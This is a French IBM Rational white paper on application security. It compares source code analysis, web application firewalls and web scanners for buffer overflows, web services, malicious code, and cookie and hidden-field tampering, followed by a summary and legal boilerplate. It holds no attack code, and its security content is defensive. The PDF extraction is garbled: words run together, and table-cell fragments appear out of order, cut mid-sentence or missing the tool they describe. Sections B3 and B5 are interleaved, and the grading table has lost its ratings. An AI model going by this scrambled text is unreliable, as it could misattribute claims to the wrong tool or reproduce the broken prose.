B2 – Dépassements de la mémoire tamponLe dépassement de mémoire tampon n’est pas considérécomme un vecteur d’attaque valide pour les applications Webactuelles écrites en langages interprétés comme Java et lafamille de langages .NET de Microsoft. Toutefois, denombreuses applications d’entreprise existantes interagissent àun certain niveau avec de nombreux systèmes hérités écrits enC et en C++, et il leur manque par conséquent la gestion demémoire intégrée nécessaire pour empêcher les dépassementsde mémoire tampon. Les données non validées provenant deces applications Web envoyées aux systèmes hérités exposentles applications héritées à un risque de dépassement de lamémoire tampon. Il est absolument essentiel que la stratégiede détection et de prévention prenne en charge lesenvironnements de développement nouveau et hérité.

Le dépassement de mémoire tampon est similaire à n’importequel autre type d’attaques par injection. Un utilisateurmalicieux insère du code informatique exécuté dansl’environnement de l’application. Le système exécute alors desactions à la demande du pirate, mais avec les privilèges dusystème lui-même.

Avec une manipulation adaptée des entrées de l’application et la création de règles pour contrôler la plage appropriée dans tous les champs d’entrée Web, les outils d’analysed’application Web et les pare-feu d’application Webfournissent un certain degré de protection. Cependant,comme de nombreux systèmes hérités interagissent aussi bien avec des interfaces Web que non Web, ces systèmes à euxseuls ne suffisent pas à protéger ni à détecter tous les risquesde vulnérabilité au dépassement de la mémoire tampon.L’analyse de code source offre la détection la plus complète etla meilleure protection contre ce genre d’attaque.

Par exemple, si l’application est servie par un environnementde serveur d’application co-hébergé, les vulnérabilités d’uneapplication peuvent contaminer une autre application, oupeut-être une plateforme d’application hébergée elle-mêmevulnérable. Par conséquent, il faut toujours être vigilant en cequi concerne les données de configuration qui ne sont pasprotégées correctement.

La meilleure approche est une combinaison d’analyse statiquepour identifier le problème de configuration spécifique àl’application, un outil d’analyse d’application Web pourdéterminer le problème de configuration de l’environnementdu serveur d’application et l’ethical hacking manuel.





utilisée pour analyserdes fichiers de

configuration afin derechercher desparamètres nonsécurisés, mais

certains paramètressont contrôlés par la

manière dont leserveur d’applicationest configuré et nonpar des fichiers de

configurationd’application

spécifiques. Il estpréférable d’effectuerles tests en utilisantune combinaison

d’analyse de codesource, d’ethical

hacking manuel etune boîte noire.

Les pare-feud’application Webpeut assurer un

certain niveau deprotection contre

certaines attaquesspécifiques au

serveur d’application,mais ils n’ont pas une

visibilité desconfigurations

incorrectes desapplications suffisante

pour être vraimentefficaces.

Les outils d’analysed’application Webconstituent un très

bon moyen dedétection prêt àl’emploi pour les

serveurs d’applicationmal configurés et de

nombreux outilsd’analyse

comprennent dessignatures

spécifiques baséessur la versiondécouverte du

serveur d’applicationet de la plateforme.

Cependant, les outilsd’analyse

d’application Webcomme les pare-feud’application Web

n’ont pas de visibilitédes paramètres de

configurationspécifiques à

l’application. Unecombinaison

d’analyse de codesource et d’analysed’application Weboffre la meilleure

stratégie défensive.


de personnalisation pour fournir un certain niveau deprotection. L’analyse de code source peut être utilisée pourtraiter tous les points d’entrée liés aux services Web sousforme de données contrôlables par l’utilisateur et pour réaliserle même type d’analyse que celui utilisé pour détecter tous lesautres types de risques d’injection de données. Cependant, celaimplique l’ajout de règles personnalisées pour spécifier lesnouveaux vecteurs d’entrée au moteur d’analyse.

Une combinaison d’analyse de code source et un pare-feud’application Web qui prend en charge les services Webconstitue la meilleure approche pour atténuer ce risque. Lesoutien apporté par les outils d’analyse d’application Web estminime et ne fournit aucun avantage significatif par rapport àl’analyse de code source.


Pare-feud’application Web*


L’analyse de codesource avec une

création de règlesappropriées fournitles informations lesplus détaillées sur la

manière dont lesdonnées contrôlablespar l’utilisateur géréespar l’application sont

utilisées,potentiellement à des

fins malicieuses.L’application est ainsiouverte aux attaques.

La prise en chargedes protocoles de

messagerie SOAP etXML peut offrir une

protectionraisonnable avec unepersonnalisation desrègles adaptée. La

combinaisond’analyse de codesource constitueactuellement la

meilleure stratégie deprotection pour les

applications deservice Web.


jouent un rôle limitédans l’analyse desservices Web et laplupart d’entre eux

nécessitent denombreux efforts

manuels pourapporter une valeursupplémentaire par

rapport à l’analyse decode source. Le seul

avantage lié àl’utilisation d’un outil

d’analysed’application Web par

rapport à un outild’analyse de codesource est obtenulorsque le service

Web est écrit dansun langage qui n’estpas pris en chargepar l’outil d’analyse

de code source.




L’analyse de codesource offre la

meilleure protectionpour analyser les

applications héritéesécrites en C ou en

C++ qui peuvent êtrevulnérables aux

attaques de typedépassement de lamémoire tampon.L’analyse de code

source découvre lesvecteurs d’entrée desapplications Web qui

fournissent desdonnées aux

interfaces héritées demanière non

sécurisée. Celapermet à l’analyste

de sécurité de trouverles vecteurs de

dépassement de lamémoire tampon àpartir d’une surfaced’attaque plus large.

Avec des règlespersonnalisées, les

pare-feu d’applicationWeb peuvent

effectuer certainscontrôles de plage

sur les champsd’entrée pour

s’assurer qu’unutilisateur ne fournit

pas trop de données,ce qui pourrait

entraîner undépassement de lamémoire tampon.

Cependant, commeles pare-feu

d’application Webmanquent de visibilitéen ce qui concerne

les systèmes dorsauxexposés, ce niveaude protection estinsuffisant dans laplupart des cas.


peuvent manipuler demanière

personnalisée lesentrées Web pour

identifier les endroitsqui provoquent une

défaillance del’application.

Toutefois, ce type demanipulation produitun pourcentage trèsélevé de réponses

faussement positiveset faussement

négatives car lavisibilité dans le

système sous-jacentest insuffisante pourdéterminer où, ou si,le dépassement de lamémoire tampon est

un risque réel.

B3 – Services WebComme de plus en plus d’organisations optent pour unearchitecture orientée services (SOA), les services Webconstituent une technologie prédominante. Ils présentent unnouveau vecteur d’entrée vers une application et les attaquesvisant les applications de service Web sont en augmentation.Cela représente un défi unique pour l’outil d’analysed’application Web car il est quasiment impossible de découvrir et de tester automatiquement les vulnérabilités liéesaux services Web à l’aide des algorithmes de découverte enétoile existants utilisés par presque tous les outils d’analysed’application Web. Certains pare-feu d’application Webprennent en charge l’inspection des flux de message SOAP etXML, mais la plupart d’entre eux nécessitent un niveau élevé

15IBM Software




Lorsque le codesource est disponible,

l’analyse de codesource est la manière

la plus efficaced’analyser une

application pouridentifier les risquesexploités par le code

malicieux.

Les pare-feud’application Web ontdu mal à obtenir desinformations sur ledéclenchement du

code malicieuxpotentiel et ils ont dumal à déterminer si le

comportementexécuté est de nature

malicieuse ou non.

Les outils d’analysed’application Web ontdu mal à obtenir desinformations sur ledéclenchement du

code malicieuxpotentiel et ils ont dumal à déterminer si le

comportementexécuté est de nature

malicieuse ou non.

B5 – Cookies personnalisés et champs masquésL’utilisation de cookies et de champs masqués reste courantedans presque toutes les grandes applications d’entrepriseactuelles. Si vous avez essayé de désactiver les cookies etd’utiliser le Web, vous savez que l’utilisation des cookies n’est pas près de disparaître. Un utilisateur malicieux peutfacilement manipuler ces données car les cookies sontenregistrés sur l’ordinateur du client. Cette falsification peutentraîner tous types de problèmes de sécurité. Les champsmasqués sont également utilisés pour stocker des informationsd’état ou de contrôle et eux aussi peuvent être facilementfalsifiés. Les cookies et les champs masqués ne doivent jamaisêtre considérés comme des magasins de données sûrs et sansrisque. Un utilisateur malicieux parcourt la charge de réponse HTTP (HyperText Transport Protocol) sous-jacented’une manière ou d’une autre (en visualisant la page source ouen utilisant un proxy) pour déterminer quels champs masquéset quels cookies sont utilisés pour comprendre comment votre

B4 – Code malicieuxIl existe deux principaux types de code malicieux dans lesapplications actuelles :

● Du code mort, masqué ou code de débogage resté dans uneapplication de production et utilisé à des fins malicieuses

● Du code inséré intentionnellement qui permet d’obtenir unaccès illégal ou qui déclenche des événements ayant desrésultats malicieux.

La seule manière raisonnable d’identifier du code malicieux est d’analyse le code source. Les outils d’analyse d’applicationWeb et les pare-feu d’application Web ne sont pas efficacespour rechercher le code malicieux ni pour protégerl’application contre le code malicieux. Souvent, le codemalicieux ressemble exactement au code normal. Il est possibled’identifier le code malicieux en étudiant les points d’accès àl’application existants. L’analyse de code source est un outilextrêmement efficace pour identifier tous les endroits où lesdonnées sortent du système. Pour que le code puisse êtremalicieux, il a besoin d’un point d’accès. Un utilisateur accèdeau système par le déclenchement d’un événement, en laissantdes mots de passe figés dans le code ou en convertissant descanaux de communication. Comprendre les points d’accès estessentiel pour aider l’analyste de sécurité à identifier le codemalicieux.

En étudiant tous les endroits où le système de fichiers, leréseau, les déclencheurs programmés et les informationsd’authentification figées dans le code sont stockés et utilisés,on trouve souvent des endroits vulnérables. Il peut s’agir desites où un accès inapproprié au système de fichiers est permis, où des points d’entrée et de sortie de communicationnon conformes aux exigences spécifiques de l’applicationexistent ou des endroits où les informations d’authentificationsont figées dans le code et facilement identifiables. Même si

cela ne représente pas tous les types de code malicieux,l’analyste de sécurité obtient ainsi un plan correct del’application qui peut l’orienter vers les endroits utilisés,volontairement ou non, à des fins malicieuse.


application fonctionne. L’utilisateur malicieux utiliser un proxy HTTP ou envoie des requêtes manuelles à votreapplication avec des valeurs modifiées pour voir l’hypothèseque forme votre application et comment briser ces hypothèses.Cela entraîne des problèmes de sécurité.

La détection et la prévention associées aux champs masqués etaux cookies font partie des rares domaines dans lesquels unecombinaison de tous les outils offre la meilleure défense et la meilleure détection. Analyser à la fois le code source etl’application complète permet d’obtenir la meilleurecouverture de détection. Un pare-feu d’application Web offrela meilleure défense contre toute manipulation effectuée par leclient.




L’analyse de codesource peut surveillertous les endroits où

des cookies sontcréés et utilisés. Elletraite l’utilisation deschamps masquéscomme tout autre

type d’entréecontrôlée parl’utilisateur.


peuvent empêcher lafalsification des

données par le biaisdes champs

masqués et descookies soit à l’aide

du chiffrement(comme le

chiffrement et ledéchiffrement descookies) soit en

ajoutant des règlespersonnalisées pourdétecter les valeursillégales pour cet

ensemble d’entrées.


peuvent détecter tousles types devulnérabilitémentionnés

précédemment quidécoulent d’un usage

incorrect ou de lamodification parl’utilisateur descookies et des

champs masqués.

RésuméLa sécurité des applications est un élément critique despratiques de sécurité générales de toute organisation. L’accèsaux ressources critiques des entreprises est de plus en plussouvent contrôlé par des logiciels. Il n’y a donc rien desurprenant dans le fait que les politiques de sécurité physiqueet de sécurité du réseau existantes, les procédures et lesproduits ne suffisent pas à satisfaire les besoins des entreprisesen matière de sécurité. Il n’existe pas de solution idéale enmatière de sécurité des applications et chacun des outilsétudiés a sa place dans un programme de sécurité d’applicationgénérale. Le problème consiste à choisir le bon outil. Étantdonné l’étendue des problèmes que l’on trouve dans lesapplications, des outils d’analyse seuls peuvent êtreinsuffisants. Cependant, l’analyse susmentionnée montreclairement que l’analyse de code source doit être la méthodefondamentale pour identifier le plus vaste éventail devulnérabilités critiques dans un logiciel donné. Les outilsd’analyse d’application Web sont un excellent outil poureffectuer une vérification finale avant le déploiement. Lespare-feu d’application Web sont un atout exceptionnellorsqu’ils sont utilisés pour gagner du temps en apportant uncertain niveau de protection en attendant que l’applicationsous-jacente puisse être corrigée. Toutefois, un pare-feud’application Web seul ne suffit à protéger convenablementtous les points vulnérables exposés dans une application Web.Une approche équilibrée de la sécurité des applications offre leplus d’avantages. Chaque organisation doit trouver unéquilibre entre les exigences souvent conflictuelles associéesaux menaces, à l’exposition et au budget pour obtenir lacombinaison qui lui convient le mieux, afin de déterminer lastratégie de gestion de la sécurité d’application basée sur lesrisques la plus efficace possible.

17IBM Software

A1 – Scriptage inter-sites

A2.1 – Injection de codeSQL standard

A2.2 – Injection de code XML

A2.3 – Injection LDAP(Lightweight Directory Access Protocol)

A2.4 – Injections de commandes

A2.5 – Injection de code AJAX

A3 – Exécution de fichiersmalicieuxs

A4 – Référence d'objet directnon sécurisée

A5 – Contrefaçon de requêteinter-site

A6 – Fuite d'informations etmauvaise gestion des erreurs

A7 – Authentificationinterrompue et gestion de session

A8 – Stockage cryptographiquenon sécurisé

A9 – Communicationsnon sécurisées

A10 – Échec de restrictiond'accès URL

B1 – Configuration du moteurd'exécution de l'application

B2 – Dépassements de lamémoire tampon/code natif

B3 – Services Web

B4 – Code malicieux

B5 – Cookies personnalisés etchamps masqués

Note moyenne

Excellent Bon Moyen Aucun

Vulnérabilité Analyse decode source

Pare-feud'application Web

Outil d'analysed'application Web

Annexe A : Outils de sécurité d’application – Le carnet de notes

Pour en savoir plusPour en savoir plus sur IBM Rational AppScan SourceEdition, contactez votre représentant commercial IBM, votrepartenaire commercial IBM ou rendez-vous à l’adresse :ibm.com/software/rational/products/appscan/source/

À propos des auteurs Ryan Berg est Senior Security Architect chez IBM. Ryan estun orateur, un formateur et un auteur populaire dans lesdomaines de la sécurité, de la gestion des risques et desprocessus de développement sécurisés. Il détient des brevets etdes brevets en instance dans les secteurs de l’évaluation de lasécurité multilingue, de la sécurité au niveau du noyau, dulangage d’évaluation de sécurité intermédiaire et desprotocoles de communication à distance sécurisés

IBM France17, avenue de l’Europe92275 Bois-Colombes Cedex

La page d’accueil d’IBM se trouve à l’adresse ibm.com

IBM, le logo IBM, ibm.com, AppScan et Rational sont des marques oumarques déposées d’International Business Machines Corporation auxÉtats-Unis et/ou dans d’autres pays. Si ces marques et les autres termesdéposés d’IBM comportent, sur le première occurrence dans ce document,un symbole de marque de commerce (® ou ™), ces symboles indiquent desmarques de commerce enregistrées aux États-Unis ou de common lawappartenant à IBM au moment de la publication de ce document. Cesmarques de commerce peuvent être enregistrées ou de common law dansd’autres pays.

Une liste à jour des marques d’IBM est disponible sur Internet, sous larubrique «Copyright and trademark information» (Informations sur lesdroits d’auteur et les marques), sur le site ibm.com/legal/copytrade.shtml

Java ainsi que tous les logos et toutes les marques mentionnant Java sontdes marques de Sun Microsystems, Inc. aux États-Unis et/ou dans d’autrespays.

Microsoft est une marque de Microsoft Corporation aux États-Unis et/oudans d’autres pays.

D’autres noms d’entreprises, de produits et de services peuvent être desmarques ou des marques de service appartenant à d’autres sociétés.

Le présent document peut contenir des informations ou des référencesconcernant certains produits, logiciels ou services IBM non annoncés dansce pays. Cela ne signifie pas qu’IBM ait l’intention de les y annoncer.

Toute référence à un produit logiciel ou service IBM n’implique pas queseul ce produit, logiciel ou service puisse être utilisé. Tout élémentfonctionnellement équivalent peut être utilisé s’il n’enfreint aucun droitd’IBM.

Le présent document est publié uniquement à titre indicatif.Les informations qu’il contient sont soumises à modification sans préavis.Veuillez prendre contact avec votre revendeur IBM local pour obtenir lesdernières informations sur les produits et les services IBM.

IBM ne donne aucun avis juridique, comptable ou d’audit financier et negarantit pas que ses produits ou services sont conformes aux loisapplicables. Les utilisateurs sont seuls responsables du respect des lois etréglementations de sécurité en vigueur, en particulier les lois etréglementations nationales.

© Copyright IBM Corporation 2009Tous droits réservés.

RAW14201-FRFR-00

http://www.ibm.com/software/rational/products/appscan/source/

http://www.ibm.com/legal/copytrade.shtml

http://ibm.com/software/rational

rational france livre blanc - choisir le bon outil pour faire du bon travail

Documents